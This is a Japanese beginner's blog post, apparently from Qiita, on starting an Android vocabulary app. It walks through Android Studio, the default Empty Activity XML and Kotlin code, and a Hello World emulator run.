![スクリーンショット 2022-08-22 22.09.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/730755db-876f-174a-b15b-d242ca18d1e9.png)

![スクリーンショット 2022-08-22 22.10.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/307516ac-0281-5792-fef1-0a35d0234464.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/90765127-8473-6f37-4b6f-edb5107ef10c.png)

![スクリーンショット 2022-08-22 22.13.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/470d4fd1-d9b3-d923-68b2-8802a1ddb42e.png)

# アプリの実行

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/e868061c-fc3f-ffd2-c8ff-e0ce8687d1ad.png)
Androidで保険業界の単語帳をつくる vol.1 ~いざ、Android Studio!~

# Android Studioを立ち上げる
Androidアプリを作成する開発環境はAndroid Stuidoを使用していきます。
Googleから提供されているIDEで無料でだれでも使えます！

Android Studioを立ち上げるとアクティビティと呼ばれる開発をする際のベースとなる画面の選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803693/534e54f2-4dbe-ee67-ef4e-2b9c439083df.png)

いろいろあるみたいですが、よくわからないのでEmpty Activityを選択します。

# ソースコードについて
最初に表示されるのは以下の画面
かっちょいい✨
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803693/9c301353-2695-67f2-191d-166fcaf0b9ff.png)

基本的には画像の通り[activity_main.xml]と[MainActivity.kt]の2言語で開発を進めます。
デフォルトのソースコードは以下の通り。

```XML:activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hello World!"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

</androidx.constraintlayout.widget.ConstraintLayout>
```
```Kotlin:MainActivity.kt
package com.purecat.android

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
    }
}
```
# .xmlと.kt
.xmlの拡張子で管理されるソースコードはXMLと呼ばれる言語(?)で画面レイアウトを制御します。
.ktの拡張子で管理されるソースコードはKotlinと呼ばれる言語でアプリの動きをプログラミングしていきます。

# エミュレーターを起動！
Android Studio上に仮想のAndroidデバイス(エミュレーター)の設定をして、試しにデフォルトのプログラムを実行してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803693/ff262876-bd1c-d91a-5416-49c125f1834a.png)

こんな感じでPCの中にAndroidが、、、
最初は何もないので"Hello World!"が表示されているだけ。
XMLをよく見ると"Hello World!"が定義されてますね^^
ここにこれからアプリを作っていきます！